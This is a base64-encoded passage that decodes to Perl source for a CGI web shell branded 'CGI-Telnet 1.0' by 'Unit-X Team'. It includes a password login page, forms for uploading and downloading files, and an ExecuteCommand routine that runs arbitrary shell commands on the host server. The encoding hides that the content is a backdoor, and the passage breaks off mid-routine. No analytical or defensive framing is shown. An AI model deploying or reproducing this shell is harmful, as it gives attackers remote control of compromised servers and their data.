Pgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRk aW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAi IGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9u dD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp emU9IjIiIGNvbG9yPSIjMDA5OTAwIj48Yj5DR0ktVGVsbmV0IFVuaXQteCBUZWFtIENvbm5lY3Rl ZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0i MiIgYmdjb2xvcj0iI0MyQkZBNSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+CjxhIGhy ZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+VXBsb2Fk IEZpbGU8L2E+IHwgCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29k ZWRDdXJyZW50RGlyIj5Eb3dubG9hZCBGaWxlPC9hPiB8CjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlv bj9hPWxvZ291dCI+RGlzY29ubmVjdDwvYT4gfAo8YSBocmVmPSJVTklUWF9URUFNQEhPVE1BSUwu Q09NIj5IZWxwPC9hPgo8L2ZvbnQ+PC90ZD4KPC90cj4KPC90YWJsZT4KPGZvbnQgY29sb3I9IiMw MDk5MDAiIHNpemU9IjMiPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0 aGUgTG9naW4gU2NyZWVuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5TY3Jl ZW4KewoJJE1lc3NhZ2UgPSBxJDxwcmU+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiBfX19fXyAgX19f X18gIF9fX19fICAgICAgICAgIF9fX19fICAgICAgICBfICAgICAgICAgICAgICAgXwovICBfXyBc fCAgX18gXHxfICAgX3wgICAgICAgIHxfICAgX3wgICAgICB8IHwgICAgICAgICAgICAgfCB8Cnwg LyAgXC98IHwgIFwvICB8IHwgICBfX19fX18gICB8IHwgICAgX19fIHwgfCBfIF9fICAgIF9fXyB8 IHxfCnwgfCAgICB8IHwgX18gICB8IHwgIHxfX19fX198ICB8IHwgICAvIF8gXHwgfHwgJ18gXCAg LyBfIFx8IF9ffAp8IFxfXy9cfCB8X1wgXCBffCB8XyAgICAgICAgICAgfCB8ICB8ICBfXy98IHx8 IHwgfCB8fCAgX18vfCB8XwogXF9fX18vIFxfX19fLyBcX19fLyAgICAgICAgICAgXF8vICAgXF9f X3x8X3x8X3wgfF98IFxfX198IFxfX3wgMS4wCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCjwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+ICAgICAgICAgICAgICAg ICAgICAgIF9fX19fXyAgICAgICAgICAgICA8L2ZvbnQ+PGZvbnQgY29sb3I9IiNBRTgzMDAiPqkg MjAwMywgVW5pdC1YIFRlYW08L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgICAg ICAgICAgICAgLi0mcXVvdDsgICAgICAmcXVvdDstLgogICAgICAgICAgICAgICAgICAvICAgVU5J VC1YICAgXAogICAgICAgICAgICAgICAgIHwgICAgICAgICAgICAgIHwKICAgICAgICAgICAgICAg ICB8LCAgLi0uICAuLS4gICx8CiAgICAgICAgICAgICAgICAgfCApKF9vLyAgXG9fKSggfAogICAg ICAgICAgICAgICAgIHwvICAgICAvXCAgICAgXHwKICAgICAgIChAXyAgICAgICAoXyAgICAgXl4g ICAgIF8pCiAgXyAgICAgKSBcPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5fX19fX19fPC9m b250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj5cPC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj5f XzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+fCpFVklMKnw8L2ZvbnQ+PGZvbnQgY29sb3I9 IiMwMDk5MDAiPl9fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4vPC9mb250Pjxmb250IGNv bG9yPSIjMDA5OTAwIj5fX19fX19fX19fX19fX19fX19fX19fXwo8L2ZvbnQ+PGZvbnQgY29sb3I9 IiNGRjAwMDAiPiAoXyk8L2ZvbnQ+PGZvbnQgY29sb3I9IiMwMDk5MDAiPkA4QDg8L2ZvbnQ+PGZv bnQgY29sb3I9IiNGRjAwMDAiPnt9PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIj4mbHQ7X19f X19fX188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnwtXE1BU1RFUi8tfDwvZm9udD48Zm9u dCBjb2xvcj0iIzAwOTkwMCI+X19fX19fX19fX19fX19fX19fX19fX19fJmd0OzwvZm9udD48Zm9u dCBjb2xvcj0iI0ZGMDAwMCI+CiAgICAgICAgKV8vICAgICAgICBcICAgICAgICAgIC8gCiAgICAg ICAoQCAgICAgICAgICAgYC0tLS0tLS0tYAogICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9y PSIjQUU4MzAwIj5XIEEgUiBOIEkgTiBHOiBQcml2YXRlIFNlcnZlciB7bVIubkV4fSA8L2ZvbnQ+ PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxi cj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxj b2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBt ZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsK PGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0 PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0 aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFBy aW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9k PSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h bWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5 cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVy Ij4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRz IHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIg UHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMu IFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2ll c3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tp ZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBo dHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENv b2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMg dGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K c3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBi eSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4K Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNv b2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdl SGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQ cmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBh c3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2Vy IHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBu byBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhl IHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4g CnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7 CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJp bnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50 UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQ YWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQg bmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWls ZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0K fQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxs b3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3Vi IFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVu dERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8 PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0 TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+ CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9t cHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1 ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K IyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBm aWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJ JFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1l ICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1l dGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVu IiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1l PSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6 IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6 IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQK fQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxs b3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQ cmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIg OiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxj b2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9 IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpG aWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpP cHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVy d3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNw OyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJo aWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4i IG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0 IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0 IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMK IyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxh cm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhp bXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVk IGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFn ZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5j dGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1 dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBj b21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJl bnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBp bnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBi ZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQg aXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMg Y2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNv bW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNo YW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxs eS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkk T2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4k Q21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENv bW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIk T2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8 Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBj b21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJ JFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1l ICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2Nv ZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVu Q29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0g XCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0K CQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVk CgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQs ICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhc bnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMg c2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFu ZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1w PiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0K CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdl IHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2Fk IHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVz aAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJn dW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25s b2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsK CWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhp c3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUg YnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQx KS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZp bGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZy ZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVh ZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmls ZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxh IGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmlu dENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmls ZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29k ZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURv d25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlz ayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxv YWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUg b2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZp 